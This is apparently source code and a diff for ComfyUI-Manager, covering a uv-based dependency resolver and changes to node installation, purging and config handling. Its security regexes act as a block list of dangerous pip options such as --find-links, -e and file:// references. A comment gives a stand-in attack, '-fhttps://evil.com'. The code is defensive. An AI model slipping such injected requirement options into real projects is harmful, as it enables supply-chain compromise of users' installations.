skipped: list[tuple[str, str]] = field(default_factory=list)
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] = field(default_factory=list)
@dataclass
class LockfileResult:
"""Result of ``uv pip compile``."""
success: bool
lockfile_path: str | None = None
conflicts: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class InstallResult:
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
success: bool
installed: list[str] = field(default_factory=list)
skipped: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class ResolveResult:
"""Full pipeline result."""
success: bool
collected: CollectedDeps | None = None
lockfile: LockfileResult | None = None
install: InstallResult | None = None
error: str | None = None
# ---------------------------------------------------------------------------
# Resolver
# ---------------------------------------------------------------------------
_TMP_PREFIX = "comfyui_resolver_"
# Security: reject dangerous requirement patterns at line start.
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
# ``^`` anchor. Both regexes share responsibility for option rejection:
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
# options appearing after a package name.
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE,
)
# Security: reject dangerous pip options appearing anywhere in the line
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
# short-flag attacks like ``-fhttps://evil.com``.
_INLINE_DANGEROUS_OPTIONS = re.compile(
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
r'|--trusted-host\b|--global-option\b|--install-option\b'
r'|-f|-r|-e|-c)',
re.IGNORECASE,
)
# Credential redaction in index URLs.
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
"""Collect all installed node-pack directory paths.
Parameters
----------
custom_nodes_dirs:
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
Returns
-------
list[str]
Paths of node-pack directories (immediate subdirectories of each base).
"""
paths: list[str] = []
for base in custom_nodes_dirs:
if os.path.isdir(base):
for name in os.listdir(base):
fullpath = os.path.join(base, name)
if os.path.isdir(fullpath):
paths.append(fullpath)
return paths
def collect_base_requirements(comfy_path: str) -> list[str]:
"""Read ComfyUI's own base requirements as constraint lines.
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
These are ComfyUI-level dependencies only — never read from node packs.
Parameters
----------
comfy_path:
Root directory of the ComfyUI installation.
Returns
-------
list[str]
Non-empty, non-comment requirement lines.
"""
reqs: list[str] = []
for filename in ("requirements.txt", "manager_requirements.txt"):
req_path = os.path.join(comfy_path, filename)
if os.path.exists(req_path):
with open(req_path, encoding="utf-8") as f:
reqs.extend(
line.strip() for line in f
if line.strip() and not line.strip().startswith('#')
)
return reqs
class UnifiedDepResolver:
"""Unified dependency resolver.
Resolves and installs all dependencies of (installed + new) node packs at
once using *uv*.
Parameters
----------
node_pack_paths:
Absolute paths of node-pack directories to consider.
base_requirements:
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
blacklist:
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
overrides:
Package-name remapping dict (default: ``cm_global.pip_overrides``).
downgrade_blacklist:
Packages whose installed versions must not be downgraded
(default: ``cm_global.pip_downgrade_blacklist``).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
) -> None:
self.node_pack_paths = node_pack_paths
self.base_requirements = base_requirements or []
self.blacklist: set[str] = blacklist if blacklist is not None else set()
self.overrides: dict[str, str] = overrides if overrides is not None else {}
self.downgrade_blacklist: list[str] = (
downgrade_blacklist if downgrade_blacklist is not None else []
)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def resolve_and_install(self) -> ResolveResult:
"""Execute the full pipeline: cleanup → collect → compile → install."""
self.cleanup_stale_tmp()
tmp_dir: str | None = None
try:
# 1. Collect
collected = self.collect_requirements()
if not collected.requirements:
logger.info("[UnifiedDepResolver] No dependencies to resolve")
return ResolveResult(success=True, collected=collected)
logger.info(
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
len(collected.requirements),
len(collected.sources),
len(collected.skipped),
)
# 2. Compile
lockfile = self.compile_lockfile(collected)
if not lockfile.success:
return ResolveResult(
success=False,
collected=collected,
lockfile=lockfile,
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
)
# tmp_dir is the parent of lockfile_path
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
# 3. Install
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
return ResolveResult(
success=install.success,
collected=collected,
lockfile=lockfile,
install=install,
error=install.stderr if not install.success else None,
)
except UvNotAvailableError:
raise
except Exception as exc:
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
return ResolveResult(success=False, error=str(exc))
finally:
if tmp_dir and os.path.isdir(tmp_dir):
shutil.rmtree(tmp_dir, ignore_errors=True)
# ------------------------------------------------------------------
# Step 1: collect
# ------------------------------------------------------------------
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs."""
requirements: list[PackageRequirement] = []
skipped: list[tuple[str, str]] = []
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
extra_index_urls: list[str] = []
# Snapshot installed packages once to avoid repeated subprocess calls.
# Skip when downgrade_blacklist is empty (the common default).
installed_snapshot = (
manager_util.get_installed_packages()
if self.downgrade_blacklist else {}
)
for pack_path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism).
if self._is_disabled_path(pack_path):
continue
req_file = os.path.join(pack_path, "requirements.txt")
if not os.path.exists(req_file):
continue
for raw_line in self._read_requirements(req_file):
line = raw_line.split('#')[0].strip()
if not line:
continue
# 0. Security: reject dangerous patterns
if _DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
line, pack_path,
)
continue
# 1. Separate --index-url / --extra-index-url handling
# (before path separator check, because URLs contain '/')
# URLs are staged but NOT committed until the line passes
# all validation (prevents URL injection from rejected lines).
pending_urls: list[str] = []
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, pending_urls = self._split_index_url(line)
line = pkg_spec
if not line:
# Standalone option line (no package prefix) — safe
extra_index_urls.extend(pending_urls)
continue
# 1b. Reject dangerous pip options appearing after package name
# (--index-url/--extra-index-url already extracted above)
if _INLINE_DANGEROUS_OPTIONS.search(line):
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
line, pack_path,
)
continue
# Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, "rejected: path separator in package name"))
logger.warning(
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
line, pack_path,
)
continue
# 2. Remap package name
pkg_spec = self._remap_package(line)
# 3. Extract normalised name
pkg_name = self._extract_package_name(pkg_spec)
# 4. Blacklist check
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 5. Downgrade blacklist check
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
installed_snapshot):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 6. Collect (no dedup — uv handles resolution)
requirements.append(
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
)
sources[pkg_name].append((pack_path, pkg_spec))
# Commit staged index URLs only after all validation passed.
if pending_urls:
extra_index_urls.extend(pending_urls)
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)),
)
# ------------------------------------------------------------------
# Step 2: compile
# ------------------------------------------------------------------
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via ``uv pip compile``."""
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
try:
# Write temp requirements
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
with open(tmp_req, "w", encoding="utf-8") as fh:
for req in deps.requirements:
fh.write(req.spec + "\n")
# Write constraints (base dependencies)
tmp_constraints: str | None = None
if self.base_requirements:
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
with open(tmp_constraints, "w", encoding="utf-8") as fh:
for line in self.base_requirements:
fh.write(line.strip() + "\n")
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
cmd = self._get_uv_cmd() + [
"pip", "compile",
tmp_req,
"--output-file", lockfile_path,
"--python", sys.executable,
]
if tmp_constraints:
cmd += ["--constraint", tmp_constraints]
for url in deps.extra_index_urls:
logger.info(
"[UnifiedDepResolver] extra-index-url: %s",
self._redact_url(url),
)
cmd += ["--extra-index-url", url]
logger.info("[UnifiedDepResolver] running: %s", " ".join(
self._redact_url(c) for c in cmd
))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=300,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
return LockfileResult(
success=False,
conflicts=["compile timeout exceeded (300s)"],
stderr="TimeoutExpired",
)
if result.returncode != 0:
conflicts = self._parse_conflicts(result.stderr)
return LockfileResult(
success=False,
conflicts=conflicts,
stderr=result.stderr,
)
if not os.path.exists(lockfile_path):
return LockfileResult(
success=False,
conflicts=["lockfile not created despite success return code"],
stderr=result.stderr,
)
return LockfileResult(success=True, lockfile_path=lockfile_path)
except UvNotAvailableError:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
except Exception:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
# ------------------------------------------------------------------
# Step 3: install
# ------------------------------------------------------------------
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (``uv pip install -r``).
Do **not** use ``uv pip sync`` — it deletes packages not in the
lockfile, risking removal of torch, ComfyUI deps, etc.
"""
cmd = self._get_uv_cmd() + [
"pip", "install",
"--requirement", lockfile_path,
"--python", sys.executable,
]
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=600,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
return InstallResult(
success=False,
stderr="TimeoutExpired: install exceeded 600s",
)
installed, skipped_pkgs = self._parse_install_output(result)
return InstallResult(
success=result.returncode == 0,
installed=installed,
skipped=skipped_pkgs,
stderr=result.stderr if result.returncode != 0 else "",
)
# ------------------------------------------------------------------
# uv command resolution
# ------------------------------------------------------------------
def _get_uv_cmd(self) -> list[str]:
"""Determine the ``uv`` command to use.
``python_embeded`` spelling is intentional — matches the actual path
name in the ComfyUI Windows distribution.
"""
embedded = 'python_embeded' in sys.executable
# 1. Try uv as a Python module
try:
test_cmd = (
[sys.executable]
+ (['-s'] if embedded else [])
+ ['-m', 'uv', '--version']
)
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
except Exception:
pass
# 2. Standalone uv executable
if shutil.which('uv'):
return ['uv']
raise UvNotAvailableError("uv is not available")
# ------------------------------------------------------------------
# Helpers — collection
# ------------------------------------------------------------------
@staticmethod
def _is_disabled_path(path: str) -> bool:
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
# New style: custom_nodes/.disabled/{name}
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
return True
# Old style: {name}.disabled suffix
if path.rstrip('/').endswith('.disabled'):
return True
return False
@staticmethod
def _read_requirements(filepath: str) -> list[str]:
"""Read requirements file using ``robust_readlines`` pattern."""
return manager_util.robust_readlines(filepath)
@staticmethod
def _split_index_url(line: str) -> tuple[str, list[str]]:
"""Split index-url options from a requirement line.
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
options. Returns ``(package_spec, [url, ...])``.
Examples::
"torch --extra-index-url U1 --index-url U2"
→ ("torch", ["U1", "U2"])
"--index-url URL"
→ ("", ["URL"])
"""
urls: list[str] = []
remainder_tokens: list[str] = []
# Regex: match --extra-index-url or --index-url followed by its value
option_re = re.compile(
r'(--(?:extra-)?index-url)\s+(\S+)'
)
# Pattern for bare option flags without a URL value
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
last_end = 0
for m in option_re.finditer(line):
# Text before this option is part of the package spec
before = line[last_end:m.start()].strip()
if before:
remainder_tokens.append(before)
urls.append(m.group(2))
last_end = m.end()
# Trailing text after last option
trailing = line[last_end:].strip()
if trailing:
remainder_tokens.append(trailing)
# Strip any bare option flags that leaked into remainder tokens
# (e.g. "--index-url" with no URL value after it)
remainder_tokens = [
t for t in remainder_tokens if not bare_option_re.match(t)
]
pkg_spec = " ".join(remainder_tokens).strip()
return pkg_spec, urls
def _remap_package(self, pkg: str) -> str:
"""Apply ``pip_overrides`` remapping."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
return remapped
return pkg
@staticmethod
def _extract_package_name(spec: str) -> str:
"""Extract normalised package name from a requirement spec."""
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
return name.lower().replace('-', '_')
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
installed: dict) -> bool:
"""Reproduce the downgrade logic from ``is_blacklisted()``.
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
Args:
installed: Pre-fetched snapshot from
``manager_util.get_installed_packages()``.
"""
if pkg_name not in self.downgrade_blacklist:
return False
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed:
return True
elif match.group(2) in ('<=', '==', '<', '~='):
if pkg_name in installed:
try:
installed_ver = manager_util.StrictVersion(installed[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logger.warning(
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
)
return False
return False
# ------------------------------------------------------------------
# Helpers — parsing & output
# ------------------------------------------------------------------
@staticmethod
def _parse_conflicts(stderr: str) -> list[str]:
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
conflicts: list[str] = []
for line in stderr.splitlines():
line = line.strip()
if line and ('conflict' in line.lower() or 'error' in line.lower()):
conflicts.append(line)
return conflicts or [stderr.strip()] if stderr.strip() else []
@staticmethod
def _parse_install_output(
result: subprocess.CompletedProcess[str],
) -> tuple[list[str], list[str]]:
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
installed: list[str] = []
skipped_pkgs: list[str] = []
for line in result.stdout.splitlines():
line_lower = line.strip().lower()
if 'installed' in line_lower or 'updated' in line_lower:
installed.append(line.strip())
elif 'already' in line_lower or 'satisfied' in line_lower:
skipped_pkgs.append(line.strip())
return installed, skipped_pkgs
@staticmethod
def _redact_url(url: str) -> str:
"""Mask ``user:pass@`` credentials in URLs."""
return _CREDENTIAL_PATTERN.sub('://****@', url)
# ------------------------------------------------------------------
# Temp-file housekeeping
# ------------------------------------------------------------------
@classmethod
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
"""Remove stale temp directories from previous abnormal terminations."""
tmp_root = tempfile.gettempdir()
now = time.time()
for entry in os.scandir(tmp_root):
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
try:
age = now - entry.stat().st_mtime
if age > max_age_seconds:
shutil.rmtree(entry.path, ignore_errors=True)
logger.info(
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
)
except OSError:
pass
def attribute_conflicts(
sources: dict[str, list[tuple[str, str]]],
conflicts: list[str],
) -> dict[str, list[tuple[str, str]]]:
"""Cross-reference conflict packages with their requesting node packs.
Uses word-boundary regex to prevent false-positive prefix matches
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
"""
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
return {
pkg: reqs
for pkg, reqs in sources.items()
if re.search(
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
conflict_text,
)
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+279 -73
View File
@@ -12,9 +12,9 @@ import re
import shutil
import configparser
import platform
from datetime import datetime
import git
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
from git.remote import RemoteProgress
from urllib.parse import urlparse
from tqdm.auto import tqdm
@@ -41,13 +41,15 @@ from ..common.enums import NetworkMode, SecurityLevel, DBMode
from ..common import context
version_code = [4, 0, 3]
version_code = [4, 1]
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
default_custom_nodes_path = None
@@ -382,14 +384,25 @@ class UnifiedManager:
self.processed_install = set()
def get_module_name(self, x):
# 1. Direct cnr_id lookup
info = self.active_nodes.get(x)
if info is None:
for url, fullpath in self.unknown_active_nodes.values():
if url == x:
return os.path.basename(fullpath)
else:
if info is not None:
return os.path.basename(info[1])
# 2. URL/aux_id → cnr_id conversion via repo_cnr_map
cnr_info = self.get_cnr_by_repo(x)
if cnr_info is not None:
cnr_id = cnr_info['id']
info = self.active_nodes.get(cnr_id)
if info is not None:
return os.path.basename(info[1])
# 3. Fallback: search unknown_active_nodes by URL
normalized_x = git_utils.normalize_url(x)
for url, fullpath in self.unknown_active_nodes.values():
if url is not None and git_utils.normalize_url(url) == normalized_x:
return os.path.basename(fullpath)
return None
def get_cnr_by_repo(self, url):
@@ -700,11 +713,11 @@ class UnifiedManager:
import folder_paths
self.custom_node_map_cache = {}
self.cnr_inactive_nodes = {} # node_id -> node_version -> fullpath
self.nightly_inactive_nodes = {} # node_id -> fullpath
self.cnr_inactive_nodes = NormalizedKeyDict() # node_id -> node_version -> fullpath
self.nightly_inactive_nodes = NormalizedKeyDict() # node_id -> fullpath
self.unknown_inactive_nodes = {} # node_id -> repo url * fullpath
self.unknown_active_nodes = {} # node_id -> repo url * fullpath
self.active_nodes = {} # node_id -> node_version * fullpath
self.active_nodes = NormalizedKeyDict() # node_id -> node_version * fullpath
if get_config()['network_mode'] != 'public' or manager_util.is_manager_pip_package():
dont_wait = True
@@ -830,7 +843,10 @@ class UnifiedManager:
install_cmd = ["#LAZY-INSTALL-SCRIPT", sys.executable]
return try_install_script(url, repo_path, install_cmd)
else:
if os.path.exists(requirements_path) and not no_deps:
if not no_deps and manager_util.use_unified_resolver:
# Unified mode: skip per-node pip install (deps resolved at startup batch)
logging.info("[UnifiedDepResolver] deps deferred to startup batch resolution for %s", repo_path)
elif os.path.exists(requirements_path) and not no_deps:
print("Install: pip packages")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
lines = manager_util.robust_readlines(requirements_path)
@@ -1126,6 +1142,71 @@ class UnifiedManager:
return result
def purge_node_state(self, node_id: str):
"""
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
Used by reinstall to guarantee clean state before re-installation.
"""
if 'comfyui-manager' in node_id.lower():
return
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
paths_to_remove = set()
def _add_path(raw_path):
"""Normalize and validate a path before adding to removal set."""
if not raw_path:
return
resolved = os.path.normcase(os.path.realpath(raw_path))
if resolved == custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
return
try:
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
return
except ValueError:
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
return
paths_to_remove.add(resolved)
# Collect paths from all dictionaries
entry = self.unknown_active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.unknown_inactive_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
fullpath = self.nightly_inactive_nodes.get(node_id)
if fullpath is not None:
_add_path(fullpath)
ver_map = self.cnr_inactive_nodes.get(node_id)
if ver_map is not None:
for key, fp in ver_map.items():
_add_path(fp)
# Convention-based fallback path
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
# Remove all validated paths, then always clean dictionaries
try:
for path in paths_to_remove:
if os.path.exists(path):
try_rmtree(node_id, path)
finally:
self.unknown_active_nodes.pop(node_id, None)
self.active_nodes.pop(node_id, None)
self.unknown_inactive_nodes.pop(node_id, None)
self.nightly_inactive_nodes.pop(node_id, None)
self.cnr_inactive_nodes.pop(node_id, None)
def unified_uninstall(self, node_id: str, is_unknown: bool):
"""
Remove whole installed custom nodes including inactive nodes
@@ -1401,8 +1482,18 @@ class UnifiedManager:
else: # nightly
repo_url = the_node['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
# Fallback for nightly only: use repository URL from CNR map
# when node is registered in CNR but absent from nightly manifest
if version_spec == 'nightly':
cnr_fallback = self.cnr_map.get(node_id)
if cnr_fallback is not None and cnr_fallback.get('repository'):
repo_url = cnr_fallback['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
if self.is_enabled(node_id, version_spec):
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
@@ -1572,9 +1663,6 @@ class ManagerFuncs:
def __init__(self):
pass
def get_current_preview_method(self):
return "none"
def run_script(self, cmd, cwd='.'):
if len(cmd) > 0 and cmd[0].startswith("#"):
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -1592,14 +1680,13 @@ def write_config():
config = configparser.ConfigParser(strict=False)
config['default'] = {
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': get_config()['git_exe'],
'use_uv': get_config()['use_uv'],
'use_unified_resolver': get_config()['use_unified_resolver'],
'channel_url': get_config()['channel_url'],
'share_option': get_config()['share_option'],
'bypass_ssl': get_config()['bypass_ssl'],
"file_logging": get_config()['file_logging'],
'component_policy': get_config()['component_policy'],
'update_policy': get_config()['update_policy'],
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
'model_download_by_agent': get_config()['model_download_by_agent'],
@@ -1608,8 +1695,14 @@ def write_config():
'always_lazy_install': get_config()['always_lazy_install'],
'network_mode': get_config()['network_mode'],
'db_mode': get_config()['db_mode'],
'verbose': get_config()['verbose'],
}
# Sanitize all string values to prevent CRLF injection attacks
for key, value in config['default'].items():
if isinstance(value, str):
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
directory = os.path.dirname(context.manager_config_path)
if not os.path.exists(directory):
os.makedirs(directory)
@@ -1628,19 +1721,21 @@ def read_config():
return default_conf[key].lower() == 'true' if key in default_conf else False
manager_util.use_uv = default_conf['use_uv'].lower() == 'true' if 'use_uv' in default_conf else False
# Don't override use_unified_resolver here: prestartup_script.py already reads config
# and sets this flag, then may reset it to False on resolver fallback.
# Re-reading from config would undo the fallback.
manager_util.bypass_ssl = get_bool('bypass_ssl', False)
return {
'http_channel_enabled': get_bool('http_channel_enabled', False),
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
'git_exe': default_conf.get('git_exe', ''),
'use_uv': get_bool('use_uv', True),
'use_unified_resolver': get_bool('use_unified_resolver', False),
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
'default_cache_as_channel_url': get_bool('default_cache_as_channel_url', False),
'share_option': default_conf.get('share_option', 'all').lower(),
'bypass_ssl': get_bool('bypass_ssl', False),
'file_logging': get_bool('file_logging', True),
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
'model_download_by_agent': get_bool('model_download_by_agent', False),
@@ -1649,25 +1744,26 @@ def read_config():
'network_mode': default_conf.get('network_mode', NetworkMode.PUBLIC.value).lower(),
'security_level': default_conf.get('security_level', SecurityLevel.NORMAL.value).lower(),
'db_mode': default_conf.get('db_mode', DBMode.CACHE.value).lower(),
'verbose': get_bool('verbose', False),
}
except Exception:
import importlib.util
# temporary disable `uv` on Windows by default (https://github.com/Comfy-Org/ComfyUI-Manager/issues/1969)
manager_util.use_uv = importlib.util.find_spec("uv") is not None and platform.system() != "Windows"
manager_util.use_unified_resolver = False
manager_util.bypass_ssl = False
return {
'http_channel_enabled': False,
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': '',
'use_uv': manager_util.use_uv,
'use_unified_resolver': False,
'channel_url': DEFAULT_CHANNEL,
'default_cache_as_channel_url': False,
'share_option': 'all',
'bypass_ssl': manager_util.bypass_ssl,
'file_logging': True,
'component_policy': 'workflow',
'update_policy': 'stable-comfyui',
'windows_selector_event_loop_policy': False,
'model_download_by_agent': False,
@@ -1676,6 +1772,7 @@ def read_config():
'network_mode': NetworkMode.PUBLIC.value,
'security_level': SecurityLevel.NORMAL.value,
'db_mode': DBMode.CACHE.value,
'verbose': False,
}
@@ -1757,11 +1854,34 @@ def reserve_script(repo_path, install_cmds):
def try_rmtree(title, fullpath):
# Tier 1: retry with delay for transient Windows file locks
for attempt in range(3):
try:
shutil.rmtree(fullpath)
return
except OSError:
if attempt < 2:
time.sleep(1)
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
os.makedirs(trash_dir, exist_ok=True)
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
try:
shutil.rmtree(fullpath)
except Exception as e:
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
os.rename(fullpath, trash)
shutil.rmtree(trash, ignore_errors=True)
if not os.path.exists(trash):
return
# Rename succeeded but delete failed — schedule trash path for lazy delete
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
return
except OSError:
pass
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
@@ -1859,7 +1979,6 @@ def __win_check_git_pull(path):
def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=False, no_deps=False):
# import ipdb; ipdb.set_trace()
install_script_path = os.path.join(repo_path, "install.py")
requirements_path = os.path.join(repo_path, "requirements.txt")
@@ -1867,7 +1986,10 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
install_cmd = ["#LAZY-INSTALL-SCRIPT", sys.executable]
try_install_script(url, repo_path, install_cmd)
else:
if os.path.exists(requirements_path) and not no_deps:
if not no_deps and manager_util.use_unified_resolver:
# Unified mode: skip per-node pip install (deps resolved at startup batch)
logging.info("[UnifiedDepResolver] deps deferred to startup batch resolution for %s", repo_path)
elif os.path.exists(requirements_path) and not no_deps:
print("Install: pip packages")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
with open(requirements_path, "r") as requirements_file:
@@ -1901,6 +2023,27 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
return True
def install_manager_requirements(repo_path):
"""
Install packages from manager_requirements.txt if it exists.
This is specifically for ComfyUI's manager_requirements.txt.
"""
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
if not os.path.exists(manager_requirements_path):
return
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
with open(manager_requirements_path, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if '#' in line:
line = line.split('#')[0].strip()
if line:
install_cmd = manager_util.make_pip_cmd(["install", line])
subprocess.run(install_cmd)
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
"""
@@ -1979,7 +2122,15 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
return False, True
try:
remote.pull()
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
